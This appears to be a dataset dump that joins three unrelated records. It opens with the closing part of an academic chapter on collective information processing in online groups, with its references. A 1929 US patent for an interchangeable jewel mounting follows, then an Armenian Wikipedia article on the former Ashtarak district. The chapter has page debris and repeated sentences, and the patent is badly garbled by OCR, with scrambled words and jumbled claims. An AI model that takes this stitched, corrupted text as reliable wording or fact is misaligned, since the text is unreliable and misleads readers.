ed, engage in collective processes similar to those of smaller face-to-face
groups. This analogy is supported by findings from the field of computer-
supported cooperative work (CSCW), an interdisciplinary research area fo
cusing on how people collaborate with the aid of computer systems. Apart
from organizations, the field investigates groups on social platforms as
well, including social movements (e.g., #MeToo), peer production commu
nities (e.g., Wikipedia), or gaming communities (e.g., World of Warcraft). In a systematic review of CSCW literature, Seering et al. (2018) provided
evidence that the principles of social identity known from offline research
also apply to groups in online spaces. For example, internet users seem to
switch between different social identities and associated self-presentation
and communication norms depending on specific contexts (e.g., Marwick
& boyd, 2011). Small Groups as Information Processors Moreover, it appears that online groups with the goal of
advocating their identity have stronger social identities (e.g., De Choudhu
ry et al., 2016). Members of online groups with strong social identities, in
turn, seem to engage in more one-to-many reciprocity, i.e., collaboration
with group members they don’t know personally (e.g., Liu et al., 2016). 100 /
– /
– How Does the Internet Change Group Processes? Social identity on the group level is directly linked to socially shared
states and processes and the ability to combine contributions of individual
members interactively (see above). In summary, there is theoretical and empirical support that a basic
collective information processing perspective can be helpful for conceptua
lizing group processes on the internet. Even though online groups might
be large and lack direct contact between each of their members, they ap
pear to be capable of social sharedness and combinations of contributions. Modes of Collective Information Processing I have demonstrated that online groups can act as information processing
systems. Thus, general principles of human information processing known
from individuals and small groups may also apply to them. In the follow
ing sections, I introduce two dimensions of information processing: (1)
the automatic vs. systematic continuum and (2) the open vs. closed conti
nuum. Both are well-known on the individual level and have already been
transferred to small groups within the framework of the MCIP (Schindler,
in preparation; Schindler & Bartsch, 2019). They could, thereby, also help
to systematize different modes of information processing in online spaces. Automatic vs. Systematic Processing First, numerous dual-process models of individual information processing
distinguish between an “automatic” and a “systematic” mode (but using
different labels). These models include, e.g., the elaboration likelihood
model of persuasion (ELM; Petty & Cacioppo, 1986), the heuristic-syste
matic model of information processing (HSM; Chaiken et al., 1989), the li
mited capacity model of motivated mediated message processing (LC4MP;
Lang, 2006), and the affect infusion model (AIM; Forgas, 1995). Automatic
information processing requires only minimal motivation and cognitive
resources; it works superficially and often unconsciously. Systematic infor
mation processing, in contrast, is associated with high levels of motivation,
mental effort, accuracy, and consciousness (Chaiken et al., 1989; Forgas,
1995; Lang, 2006; Petty & Cacioppo, 1986). Automatic processing is the
default mode but can be supplemented by systematic processing, resulting
in a continuum between both extremes (e.g., Petty & Wegener, 1999). 101 0.5771/978374
– 0.5771/97837
– Johanna Schindler Johanna Schindler Results of small-group research imply that the distinction between auto
matic and systematic information processing also applies to small groups
in face-to-face settings (De Dreu et al., 2008; Hinsz et al., 1997). This
assumption is supported by, first, qualitative (Schindler & Bartsch, 2019)
and then quantitative (Schindler, in preparation) evidence. Thus, small
groups can process information either automatically, relying on common
knowledge and simple heuristic cues, or systematically, engaging deeply
with the topic and related arguments. Later, the same distinction will be
applied to interpreting research results on group processes online. Closed vs. Open Processing Second, some approaches differentiate between a “closed” and an “open”
mode of individual information processing (applying different labels,
again). These approaches include, e.g., the theory of lay epistemics
(Kruglanski, 1989), the concept of motivated reasoning (Kunda, 1990),
the HSM (Chaiken et al., 1989), and the AIM (Forgas, 1995). Closed infor
mation processing is directed toward reaching or maintaining a specific,
predetermined result. Conversely, open information processing is associa
ted with the willingness to accept different results. Again, both modes
build a continuum rather than two completely distinct modes (Kruglanski,
1989). The automatic vs. systematic continuum and the closed vs. open
continuum represent two orthogonal dimensions of information proces
sing (Chaiken et al., 1989; Forgas, 1995; Kunda, 1990). Their respective
modes can, therefore, be combined with each other, e.g., systematic and
open processing. Again, the distinction between closed and open information processing
can be applied to small groups in face-to-face settings. A first qualitative
(Schindler & Bartsch, 2019) and quantitative (Schindler, in preparation)
study implies that small groups can process information either closed,
reproducing and justifying established views, or open, engaging with new
pieces of information and positions. Therefore, the same distinction will
be applied later to review the literature on collective information proces
sing in online spaces. 102 https://doi.org/10.5771/978374
Open Access –
- How Does the Internet Change Group Processes? Technical Possibilities in Online Spaces Technical Possibilities in Online Spaces The last two sections have focused on grasping the concept of collective
information processing, especially by groups in online spaces. It has been
shown that, essentially, they engage in identity-driven processes similar to
those of smaller face-to-face groups. However, the internet offers technical
possibilities that are entirely new in human history. Based on Neuberger
(2018, pp. 15–17), the next sections introduce five core technical possibili
ties of the internet relevant to a social dimension: (a) participation, (b)
selectivity, (c) interaction, (d) interconnectedness, and (e) automatization
(originally labeled “transparency”). The factor of selectivity has been added
to Neuberger’s (2018) original list as it seems critical for some group
processes online. The following sections outline how these factors are
connected to group processes in general, making collective information
processing possible online. After that, they are linked to the different
modes of collective information processing (see above) in order to better
grasp what makes the internet such a special environment for groups. Participation The internet enables users to participate in public discourse and other
social processes. Not only can online users passively follow these; they
can actively contribute to them (Neuberger, 2018, p. 16). Hence, groups
and individuals—particularly social or political minorities and their mem
bers—can become more involved and more visible online. Automatization Algorithms and artificial intelligence allow online information processing
to become more effective—or biased—than it has ever been before. Fur
thermore, content can be precisely personalized to online users, as plat
form providers can collect fine-grained data on user characteristics (Neu
berger, 2018, pp. 16–17). Thus, groups and their members have the ability
to find exactly what they are looking for online. Platforms also actively
offer information tailored to their needs. Interconnectedness The internet offers new possibilities for people to connect independent
of time and space. In addition, content can be linked much more effi
ciently (Neuberger, 2018, p. 16). Consequently, individuals are able to
build groups that wouldn’t exist offline. The interconnectedness of groups’
members and information (e.g., via hashtags) might generally contribute
to effective collective information processing via social sharedness and a
combination of contributions. Interaction While traditional media environments have offered few opportunities for
follow-up communication, online spaces enable extensive and complex
interactions. These can occur between various actors (Neuberger, 2018,
p. 16). Interactions are a fundamental requirement for combinations of
contributions (see above) and, therefore, for collective information proces
sing within groups. Moreover, online environments enable interactions
between groups and, therefore, pro-social and anti-social intergroup pro
cesses of all kinds. Selectivity In many online contexts, it is common and easy for users to obscure
specific individual characteristics and emphasize others. Thereby, they can
choose any (social) identity, and accordingly, they can often decide how
to act with no consequences for their offline lives. This freedom could be
especially important for groups and their members who are less socially
accepted. It also enables groups and individuals to easily violate societal
norms. 103 /
– Johanna Schindler Johanna Schindler Modes of Collective Information Processing in Online Spaces Two factors are demonstrated in the previous two sections. First, groups
seem to process information in different modes, i.e., on an (1) automatic
vs. systematic continuum and on an (2) open vs. closed continuum. Se
cond, online environments essentially offer five new possibilities in social 104 How Does the Internet Change Group Processes? How Does the Internet Change Group Processes? terms, i.e., (a) participation, (b) selectivity, (c) interaction, (d) interconnec
tedness, and (e) automatization. These concepts build the foundation for
exploring how online spaces might shape collective information proces
sing. The following sections review each combination of processing mode
and condition; they also address corresponding literature and empirical
evidence. For Automatic Processing Online environments provide groups and their members with new and
even more accessible opportunities for automatic information processing. The participation of many group members should lead to a broader founda
tion for majority cues. As in offline settings (Tindale & Kameda, 2000),
group members in online settings tend to base decisions on majority cues
within their group (Go et al., 2014). Selectivity in terms of personal identity may lead to more apparent aut
hority cues or expert cues in online spaces, as a small, selected set of user
characteristics stands out more prominently. Leaders or experts have been
shown to influence groups and their members offline (Hogg et al., 2004)
and online (Kanthawala & Peng, 2021). Likewise, social identity cues can
be more prominent online. They could, thus, reinforce any automatic
mechanisms associated with ingroup or outgroup membership, e.g., the
application of prejudice (Dotsch & Wigboldus, 2008; Dovidio et al., 2010). pp
p
j
g
Online interaction helps groups easily generate heuristic cues, e.g., iden
tifying the majority position or asking trusted group members (see above). Similarly, the interconnectedness online facilitates access to existing heuristic
cues, as they might be just one click away. Finally, automatization provides an ultimate aid for automatic informati
on processing in online spaces. Groups can find information with the least
amount of effort or are even proactively recommended tailored content. Just as individuals do (Wirth et al., 2007), they might often process such
pieces of information in an automatic mode. For Systematic Processing For Systematic Processing In contrast, the internet allows new and powerful possibilities for systema
tic information processing in groups. The participation of a large number
of members enables an entirely new level of collective intelligence. Offline 105 Johanna Schindler and online studies have demonstrated that groups can solve problems
better than individuals (Laughlin et al., 2006; Schmidt et al., 2001). A
meta-analysis on collective brainstorming has shown that larger groups
outperform smaller groups—especially when they collaborate virtually
(Dennis & Williams, 2007). One of the best-known examples is Wikipedia. Selectivity online might also aid collective systematic information pro
cessing via a more salient social identity. As collective information proces
sing depends on social sharedness (see above), a stronger social identity
could facilitate group performance. This idea is supported by the results
of an online experiment on creative performance in groups (Guegan et al.,
2017). Interaction is critical for collective information processing (see above)
and especially for challenging tasks. Therefore, effective solutions for on
line group communication should promote systematic modes as well. It
has been demonstrated for online and offline teams, for example, that
more communication is associated with higher scores in a test of collective
intelligence (Engel et al., 2014). Similar to measures of individuals’ general
intelligence, this test gives groups a variety of cognitive tasks to be perfor
med together (A. W. Woolley et al., 2010). Furthermore, the special tools for interconnectedness in online spaces
could contribute particularly to collective systematic processing as they
allow for a new level of combinations of contributions (see above). Various
examples show how local communities have utilized such opportunities to
perform highly effective crisis management online during violent attacks
or natural disasters, e.g., to efficiently organize information and assistance
(Büscher et al., 2014). Ultimately, automatization can also aid systematic collective processes in
a unique way. Algorithms allow for a broadly-based and in-depth informa
tion search not possible for human groups alone. Likewise, collaborations
between humans and artificial agents may enable an entirely new level of
intelligence, mutually compensating for the weaknesses of collective and
artificial intelligence (Peeters et al., 2021). For Closed Processing Online spaces can support closed information processing in groups under
entirely new conditions. As participation on the internet is hardly restric
ted, it is easier for any social and political groups to take part in public
discourse. Through online social movements, they can recruit a large num
ber of members to work collectively toward their goals (Jost et al., 2018). 106 0.5771/978374
– How Does the Internet Change Group Processes? Examples include the Fridays for Future, #BlackLivesMatter, or #MeToo
but also right-wing extremist or Islamic extremist groups. g
g
g
p
Selectivity online can also shift the focus to certain social identities
instead of diverse personal identities (see above). Consequently, groups
might develop stronger social sharedness of motivations and become pro
ne to a closed processing mode. Meta-analyses show that anonymity, i.e., a
lack of personal cues, in offline and online contexts leads individuals to act
more in line with norms of their ingroup (Huang & Li, 2016; Postmes &
Spears, 1998). If such norms are antisocial, this might, for example, foster
hate toward outgroups and their members (Rösner & Krämer, 2016). Fur
thermore, selectivity in online environments makes it easier for individuals
to participate in movements that are socially unacceptable in their offline
community. The special possibilities for interaction online can also support closed
information processing. Groups strongly motivated to reach a goal tend
to endorse leadership (Kruglanski et al., 2006), which can be particularly
effective online. For example, hierarchy has been shown to enhance the
abilities of teams playing the online game League of Legends (Kim et al.,
2017). Moreover, the internet enables groups to interact more efficiently
with others to achieve their goals. They can not only persuade potential
ingroup members to join them (Bos et al., 2020) but also easily attack
outgroups and their members with insults and threats (Brown, 2018). g
p
Together with the potential for interaction, interconnectedness online
may especially aid and reinforce a closed processing mode. Collective
information processing depends on combinations of contributions (see
above) that can work highly effectively online. Online social movements
can continuously provide their members with practical information, ideo
logical content, and support to accomplish their collective goals (Jost et al.,
2018). However, strong online interconnectedness might also contribute
ultimately to radicalization. A study conducted with members of neo-Nazi
online forums, for instance, demonstrated that their extremism increased
with participation (Wojcieszak, 2010). For Closed Processing Automatization on the internet may further boost a closed processing
mode. Algorithms and artificial intelligence can potentially present groups
with content accurately adjusted to their preexisting beliefs, including
computational propaganda (S. C. Woolley & Howard, 2017). They could,
thereby, support extreme forms of closed processing and lead to the spread
of misinformation and polarization (Neudert & Marchal, 2019). 107 0.5771/978374
– 0.5
/9 83
– Johanna Schindler For Open Processing At the other end of the spectrum, the internet offers new possibilities for
open collective information processing. Online spaces allow the participati
on of various people, including social and political minorities. As in offline
contexts (Nemeth & Kwan, 1987), this may facilitate a creative, open
collective processing mode. For example, gender and tenure diversity have
been shown to enhance the productivity of programming teams (Vasilescu
et al., 2015), and opinion diversity in online discussion forums has been
shown to lead to a higher level of deliberation (Karlsson, 2012). Selectivity may also aid open processing in groups when it hides mem
bers’ attributes that might inhibit collaboration and shift the focus away
from the idea itself (e.g., because of prejudices). Accordingly, a study on
online brainstorming demonstrated that diverse groups who were also
anonymous showed the highest level of group creativity (Garfield et al.,
2007). Additionally, selectivity may help members of stigmatized groups
to participate in open collective online processes. For example, anonymity
has been shown to be critical in order for individuals to participate in the
LGBTQ+ community and learn from each other (Fox & Ralston, 2016). Furthermore, online tools for interaction can also contribute to openness
in collective processes as they might help groups to generate new ideas
effectively. As mentioned above, more communication in online teams
correlates with higher collective intelligence—a construct including open
ness in brainstorming tasks, among others (Engel et al., 2014). An experi
ment also demonstrated that political deliberation as an open and rational
communication process can be equally effective in face-to-face and online
settings (Min, 2007). Regarding online interaction between groups, a study
on the Israel–Palestine conflict on Facebook demonstrated that online
spaces generally have the potential for open intergroup communication
and prejudice reduction (Ruesch, 2013). Interconnectedness has the potential to additionally amplify openness
in collective information processing. Due to the unique possibilities for
combinations of contributions (see above) on the internet, groups might
be able to collaborate creatively and explore new connections. For Closed Processing A study of
individuals with diabetes, for example, showed that patient communities
can generate information, advice, and empowerment for their members
(Brady et al., 2017). Other examples of open-minded problem-solving are
cases of online crisis management in local communities during violent
attacks or natural disasters (see above; Büscher et al., 2014). Finally, online automatization may foster collective open-mindedness in
online spaces. Just as algorithms and artificial intelligence seem able to 108 /
– /
– How Does the Internet Change Group Processes? How Does the Internet Change Group Processes? draw groups further toward a predetermined direction (see above; Neudert
& Marchal, 2019), they could also nudge collective creativity, reflection,
and the reevaluation of preexisting beliefs. draw groups further toward a predetermined direction (see above; Neudert
& Marchal, 2019), they could also nudge collective creativity, reflection,
and the reevaluation of preexisting beliefs. Discussion The previous sections systematically elaborated on how different modes
of collective information processing might interact with the technical
infrastructure online. Based on the MCIP (Schindler, in preparation),
they referred to the distinction between (1) automatic (i.e., simple) vs. systematic (i.e., thorough) and (2) closed (i.e., determined) vs. open (i.e.,
open-minded) information processing on the group level. The four diffe
rent processing modes were then examined against the background of
(a) participation, (b) selectivity, (c) interaction, (d) interconnectedness,
and (e) automatization as core technical possibilities of the internet. A
first literature review based on this framework suggests that each of these
factors can facilitate each collective processing mode on an entirely new
level. Certainly, whether this occurs depends on group characteristics,
technical configurations, and situational factors. Under particular conditi
ons, a given processing mode might also persist or diminish, as many of
the aforementioned mechanisms may counterbalance or contradict each
other. However, and most important, online spaces have the potential to
reinforce any four collective processing modes—with all their consequen
ces. In the following sections I discuss the implications of this potential
separately for each dimension of information processing. Automatic vs. Systematic Processing Online On the continuum between automatic (i.e., simple) and systematic (i.e.,
thorough) information processing, online spaces may, on the one hand,
promote an automatic mode. In online infrastructures, groups can easily
access simple-to-grasp information like heuristic cues. Thus, they need to
invest even less cognitive effort than in offline contexts. However, this
should not necessarily be associated with lower-quality outcomes. In some
cases, of course, online spaces may amplify biases due to automatic proces
sing. Often, however, technical assistance might contribute to higher-qua
lity results of automatic processing. Participation of many users might, for 109 0.5771/978374
– 0.5771/978374
– Johanna Schindler example, lead to better-founded majority cues and automatization to more
carefully selected information. On the other hand, online environments may accelerate systematic in
formation processing in groups. Online spaces can assist groups to collabo
rate on a large scale and effectively combine their members’ resources. At
the same time, collective systematic information processing might require
less effort online as it is partly supported by technology. Sometimes, it may
fall into the trap of sophisticated misinformation, e.g., deepfakes (Dan et
al., 2021). However, systematic information processing of groups might
often produce even more elaborated outcomes when supported by an
online infrastructure. For instance, the participation of many users might
increase the number of available resources; interconnectedness may enable
groups to better organize individual contributions; and automatization
might help perform ideal systematical information searches. Regarding the relationship between collective automatic and systematic
information processing in online environments, both processing modes
seem to be converging to some extent. Generally, automatic processing
offers the benefit of low requirements but the drawback of lower-quali
ty results, while the opposite is true for systematic processing. Online
environments seem to compensate somewhat for both weaknesses simul
taneously. Technical support can make the automatic parts of collective
information processing more effective (i.e., lead to more accurate results)
and the systematic parts more efficient (i.e., require less effort). Thus, we
can assume that online environments may generally increase the elabora
teness of collective information processing outcomes. Closed vs. Open Processing Online Closed vs. Open Processing Online Closed vs. Open Processing Online On the continuum between closed (i.e., determined) and open (i.e., open-
minded) information processing, the internet might support a closed mo
de on the group level. Due to a larger sphere of influence and more and
better-organized resources, groups can effectively work toward their com
mon goals. Selectivity might, for example, increase the salience of internal
group norms in relation to general societal norms; interaction may offer
opportunities to recruit ingroup members or attack outgroup members;
and automatization might reaffirm existing beliefs. Closed information
processing is human and not harmful per se. To a certain extent, it can be
functional for a pluralistic society by stimulating discourse between diffe
rent camps or by allowing for reliable, shared principles (e.g., a constituti
on). However, depending on their design, online environments might also 110 /
– How Does the Internet Change Group Processes? fuel an extreme form of closed information processing in groups, known
as group centrism (Kruglanski et al., 2006), which refers to collective
processes characterized by strong group norms and pressure to conform,
ingroup favoritism, and support for autocratic leaders. When associated
with a high level of elaborated, systematic processing (see above), extreme
closedness should be the most challenging collective processing mode for
society. Via an online infrastructure, skilled and extreme groups seem par
ticularly capable of facilitating radicalization, misinformation, hate, and
polarization. At the same time, the internet allows for more-open collective infor
mation processing. Online spaces might inspire and support groups in
exploring new perspectives and solutions together. Participation may, for
instance, enhance diversity; interaction may boost creativity and allow for
positive intergroup contact; and automatization could challenge preexis
ting beliefs. Again, the design of online environments is critical to reali
zing these opportunities. In conjunction with systematic processing (see
above), an open collective processing mode could offer the most signifi
cant potential for society. It might contribute to new dimensions of social
connection, knowledge gain, empowerment, and deliberation. g g
Unlike the automatic vs. systematic continuum, the ends of the closed
vs. open continuum seem to be moving even farther apart in online spaces. Automatic and systematic processes are driven by a trade-off between effort
and benefit as their opposition is caused simply by limited resources. Closed and open processing, however, are guided by specific motivations
that are inherently and fundamentally opposed to each other. Closed vs. Open Processing Online Their respec
tive mindsets, beliefs, or ideologies might become even more accentuated
when they encounter specific technical infrastructures. This dynamic sug
gests that online environments may essentially increase the gap between
closed and open collective information processing—both in terms of how
they operate and what their outcomes are. Conclusion In this contribution I have sought to develop a theoretical perspective
on how online environments shape online group processes, e.g., in e-com
munities, online social movements, or online discussions. Applying the
propositions of the model of collective information processing (MCIP,
Schindler, in preparation), I have demonstrated that a collective informati
on processing perspective might be a helpful lens for group phenomena
online. An illustrative literature review indicates that the internet can 111 0.5771/978374
–
- Johanna Schindler function as a catalyst for any collective processing mode—depending on
the interplay of a group, infrastructure, and situation. First, this applies
to the continuum of automatic (i.e., simple) vs. systematic (i.e., thorough)
processing on the group level. Due to technical support, however, both
extremes seem to converge in becoming more efficient and effective at
the same time. Second, online environments also seem to reinforce both
ends of the continuum between closed (i.e., determined) vs. open (i.e.,
open-minded) processing in groups, and these appear to be drifting even
farther apart on the internet. The continuum between closed and open
processing, especially, appears to harbor for societies not only threats but
also opportunities never before seen. Of course, the present work has several limitations. It presents only a
first draft of a theoretical framework for collective information processing
in online spaces. More specifically, it can only begin to address the simila
rities and differences between collective processing in small, face-to-face
groups and large groups online. Furthermore, the review of the connec
tion between technical possibilities and collective processing modes is not
exhaustive, and the interplay of both processing dimensions (automatic
vs. systematic and closed vs. open) is only briefly discussed. Finally, the
relationship between processes on the group level and on the individual
level remains to be examined in greater detail. Future work should further
develop and more comprehensively link this draft with existing literature,
but most important, the presented framework needs to be tested empirical
ly. Nevertheless, the theoretical implications of the current contribution
may inspire and benefit future research that focuses specifically on the
group level. The most urgent issues of our time seem inseparably linked
to group processes (e.g., the climate crisis, COVID-19 pandemic, or ideolo
gical polarization in general). A collective information processing perspec
tive might, therefore, shed new light on seemingly well-researched areas. Conclusion Future studies could explore questions such as the following: Under what
circumstances do different collective processing modes occur in online
spaces? How do groups utilize the same online infrastructure based on
different processing modes? What role do algorithms and artificial intel
ligence play in this? How could extreme forms of closed collective infor
mation processing be attenuated? And how might online environments
help collective intelligence and creativity reach their full potential? These
kinds of questions are relevant not only for (social) scientists but also
policymakers, platform developers, and citizens in general. Their answers
could contribute to a deeper understanding of social phenomena online
and, ultimately, their consequences for the offline world. 112 /
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shape emotions and emotions shape groups. Cognition and Emotion, 30(1), 3–19. https://doi.org/10.1080/02699931.2015.1081349 Vasilescu, B., Posnett, D., Ray, B., van den Brand, M. G. J., Serebrenik, A., Devan
bu, P., & Filkov, V. (2015). Gender and Tenure Diversity in GitHub Teams. Proceedings of the 33rd Annual ACM Conference on Human Factors in Computing
Systems, 3789–3798. https://doi.org/10.1145/2702123.2702549 Wirth, W., Böcking, T., Karnowski, V., & von Pape, T. (2007). Heuristic and
Systematic Use of Search Engines. Journal of Computer-Mediated Communication,
12(3), 778–800. https://doi.org/10.1111/j.1083-6101.2007.00350.x Wojcieszak, M. (2010). ‘Don’t talk to me’: Effects of ideologically homogeneous
online groups and politically dissimilar offline ties on extremism. New Media &
Society, 12(4), 637–655. https://doi.org/10.1177/1461444809342775 Woolley, A. W., Chabris, C. F., Pentland, A., Hashmi, N., & Malone, T. W. (2010). Evidence for a Collective Intelligence Factor in the Performance of Human
Groups. Science, 330, 686–688. https://doi.org/10.1126/science.1193147 Woolley, S. C., & Howard, P. (2017). Computational Propaganda Worldwide: Executi
ve Summary. University of Oxford. Johanna Schindler (M.A., LMU Munich, 2017) is Research Associate at the
Department of Media and Communication, LMU Munich, Germany. Her
research interests lie in group phenomena with a special focus on digital com
munication, political communication, and media effects. She was a student of
Wolfram Peiser from 2014 to 2016. 117 | 48,936 |
US-6508225-A_1 | USPTO | Open Government | Public Domain | 1,925 | None | None | English | Spoken | 1,213 | 1,932 | Interchangeable jewel mounting
March 26, 1929. L. BAUM Y INTERCHANGEABLE JEWEL MOUNTING F'iled Oct. 27,1925 f 6 4 lr e 4/ .JZ/H 4. 2 4 4 Cil ii l) Patented Mar. 26, 1929.
`UNITED STATES 1,707,211 PATENT OFFICE.
LEO BAUM, OFl LOS ANGELES, CALIFORNIA; ALEXANDER RUSSILL BOND IEXECUTORF SAID LEO BA'U'M, DECEASED.
INTERCHANGEABLE JEWEL MOUNTING.
`Application led October 27,1925.
This invention relates to jewelry and more partieularly to aninterchangeable jewel mounting to be usedon jeWelry,`suoh as rings, `tormounting different Stones or otherornaniente. i Y
The general obj eet of the invention is `to lprovide an iniproved`interehangeable jewel mounting of the eharaoter stated which will besimple in Construction and efficient in use.
Other objects will appear hereinafter.
Referring to the annexed drawing which torres a part otthiespeoitlcation;
Fig. l is a front viev7 otone form of iny invention embodying a loeletapplied to a ring.
Fig. 2 a plan view otniy invention as @hewn in Fig'. l, Showing thelocket closed.
Fig. 3 ie a `plan View of iny invention as shown in Firb l, and 2,showing the plate removed and the loeket open.
Fi 4l :is a loi'igitudinal section. ot iny invention :is .shown in Figs.l, 2 and 3 taken on line l-lf ot Fig. 2. i
Fig. 5 a front view ot another 'torni of my invention enibodying a etonevmounting applied to a ring.
ilig. (i ,is a longitudinal Ieeetion oit another i'orni ot stonemounting talrenon line (fi-"6 ot Fig. 7.
Fig. is a plan View ojt the `torni of mounting shown in Fig. 6. i l
.if 8 is a Crees section of the mounting shown in Figs. (i and Fig. if.y
My invention as shown in l to l inelueiive is in the 'forni of a locketl applied to a .ring 2 which torined with a recessed or locket body 3.The loelret body :ie formed with upstanding beveled under-cut guides ialong the side edges thereof.` A plate 5 et suitable metal euch ae gold.platinum or the like ie termed with beveled eide edges 3 and is adaptedto Slide on the loclret body 3 With its beveled eide edges 6 engagingthe under cut beveled guides il. A spring Wire catch 7 ie located on theunder eide of the plate 5 and is iornied with a threaded end E5, bent atright angles thereto and screwed into the under .eide ot' the plate 5near one end thereof, and with a catch engaging part 9 on the lower4eide ot the outer end of the catch for engaging a Socket l in the lowerWall ot the lool/tet body at one end thereof to lock the plate on thelocket body.
The plate 5 is provided with a longitudi nal groove Al2 in its underside to receive the 7 taken on line 8"-8 of semi No. 65,082."`
catch 7 when. .sprung up to dieengage the part 9 trornthe socket 10 tounlock the plate 5 so that it inay be slid off the locket body to openthe loeket. y
The end Wall of the locket body adjacent the socket 10 is provided Witha groove 13 through which `the outer end of the catch 7 extends intoanotch lll in the outer side of said end Wall, `when the plate 5 ielooked by the catch on the loeket body to oloee the loelet, therebeingalso a Corresponding notch 14 in the endet the plate 5. A small plate 16is secured on the outer end ot the Catch 7 and ie Slidably fitted in thenotch lll and l-i to close Said notchand give the ring a neat linie-h.`The plate lGniay be engaged at itel lower edge by altool and pressedupwardly to dieengage the catch engaging puri, E) :lfroiu the socket l()to unlock the locket.
My invention asshown in Fig-e. (i to 5% inelusive in the forni of aninter-ehangeable mounting 4l() tor mountingl a @tone Lil and a letter orother ornament 4t2 on a rin 2. The mounting 4() comprises a plate elf-L'with up- Standing end Walls del toi-ined with beveled under-cut innersides e5, i pon ndiioh plate is placed the stone 4l by .sliding thestone eidevviee between the ende Walle le with the beveled end edgeey i6of the etone engaging the beveled inneriaces i5 ot said end Walle.
The Stone 1-l and ornament l2 are secured on the'plate by rivets 11i-.7,and i118, which extend through the plate7 the stone and the ornament,the rivet@1 being soldered at their outer ende in the ornament 42 andburniehed at their inner ends in the plate 8.
The plate 4:3 is formed with an einboeenient on its; under eide near oneend thereot, into which ie screwed the threaded end S of a catch Thestone il is of slightly leise Width than the plate 4:3, so that themount 1 ing may be inserted on the top olf the body with the side edgesot the plate engaging the under out guides 4l without the inner ed oitsaid guides engagingthe side edges oi the stone, thus protecting `thestone lll from being broken by any pressure thereupon by the metalguidee t. The catch engagin part 9 engages the Socket l() in the body Sito lock the niountingon the ring.
To change Stones on the rin g it is; only neeeeaary to unecrew the nut8l from the lower end of the Sleeve 78, lift the plate TG oil the headand substitute another plate and Stone.
I conceive it to be possible to change or sid'esof said body, a' platelformed with beveled opposite `side edges adapted to slide over saidrecessed body,`witl1 its beveled edges inter-engaging Witlisaid undercut guides, a
springcatch securedat one 'end to the under sid'eof saldplate and formedWith an engaging parten its other lend, said body having a lsockettherein to be engaged by said 'engaging part tolock theplate on thebody, said body 'and said plate being provided with notches at one fend,vand fa small" plate secured to the outer 'end'of said catch andslid'ably'- fitted in Ysaid notches t'o Aloe engaged for unlocking"theczrrtchV 2.*In a] sides of said body,` a plateforme'd with up-'standin'g guides at its ends,`the`inner sides -ofsaid guides beingunder 'cut to receive the beveled edges of a stone to hold the stone oni thee lplz'itefthe stone being of slightly less A evvel mountingasdisclosed, a recess'edbo'dy, under 'cut guides along 'opposlte Widththan the plate, an ornament on top of the stone, rivets extendingthrough said plate, said stone and the ornament for holding the plate,the stone and the ornament lirmly together, said plate being adapted toslide over said recessed body with its side edges engaging the under cntguides on said body, with the inner sides oi said guides spaced slightlyfrom the side edges of said stone, and catch means for locking the plateon said recessed body.
In a device 'of the character described, a recessed body, a. lidtherefor, the body and lid being formed with inter-engaging parts topermit sliding movement of the `lid on the body a spring secured to thenn der side of the lid 'and formed with a catch at the free end thereof,the body being formed `with Ya socket to receive the catch when the lidis in closed position, the lid and the body being formed With notchesmutually alined when the lid is in closed position, and a plate securedto the free end of the spring and slidable invsaid notches flush withthe outer surface of the lid and body.
LEO BAUM.
| 3,190 |
https://hy.wikipedia.org/wiki/%D4%B1%D5%B7%D5%BF%D5%A1%D6%80%D5%A1%D5%AF%D5%AB%20%D5%B7%D6%80%D5%BB%D5%A1%D5%B6 | Wikipedia | Open Web | CC-By-SA | 2,023 | Աշտարակի շրջան | https://hy.wikipedia.org/w/index.php?title=Աշտարակի շրջան&action=history | Armenian | Spoken | 475 | 2,564 | Աշտարակի շրջան, Հայկական ԽՍՀ, ապա՝ Հայաստանի Հանրապետության վարչատարածքային միավոր այժմյան Արագածոտնի մարզի հարավ-արևելքում։ Գտնվում էր ՀԽՍՀ կենտրոնական մասում՝ մայրաքաղաք Երևանին կից։ Կազմավորվել է 1930 թվականի սեպտեմբերի 9-ին։ Տարածությունը 691,8 քառ. կմ էր, բնակչությունը՝ 56 400 մարդ (1987), խտությունը՝ 81,5 մարդ։
Բնակավայրեր
Աշտարակի շրջանի վարչական կենտրոնն էր Աշտարակ քաղաքը։ Ուներ 1 քաղաք (Աշտարակ), 1 քաղաքային և 13 գյուղական խորհուրդ։ Բնակավայրերն են՝
Ագարակ
Անտառուտ
Ավան
Արտաշավան
Արուճ
Բազմաղբյուր
Բյուրական
Լեռնարոտ
Կարբի
Կոշ
Ձորափ
Մուղնի
Նազրվան
Նոր Ամանոս
Նոր Եդեսիա
Շամիրամ
Ոսկեհատ
Ոսկեվազ
Սաղմոսավան
Սասունիկ
Ուշի
Ուջան
Փարպի
Օհանավան
Օշական
Օրգով
Պատմություն
Աշտարակի շրջանի տարածքը դեռ հնադարում եղել է Հայաստանի կազմում՝ Երվանդունիների (մ.թ.ա. 570-201) և Արտաշեսյանների (մ.թ.ա. 189-1) թագավորության ժամանակ։ Ավելի ուշ Աշտարակի շրջանի տարածքը կազմել է Մեծ Հայքի Այրարատ նահանգի Նիգ գավառի մեջ։ Տարբեր ժամանակաշրջաններում այն եղել է Կամսարականների, Պահլավունիների, Վաչուտյանների և այլ իշխանների տոհմական կալվածքը։ 9-րդ դարի վերջից մտել է Բագրատունյաց թագավորության, ապա՝ Զաքարյան իշխանապետության մեջ։ 14-16-րդ դարերում այն մտել է մոնղոլական, ապա՝ կարակոյունլու և ակկոյունլու թուրքմենական պետությունների մեջ։
Պարսկական տիրապետության ժամանակ Աշտարակի շրջանը Երևանի կուսակալության, ապա Երևանի խանության մի մասն էր։ Արևելյան Հայաստանը Ռուսաստանին միանալուց հետո, այն մտել է Հայկական մարզի, Երևանի նահանգի Երևանի գավառի, Հայաստանում խորհրդային կարգեր հաստատվելուց հետո՝ մինչև 1930 թվականը՝ Էջմիածնի գավառի մեջ։
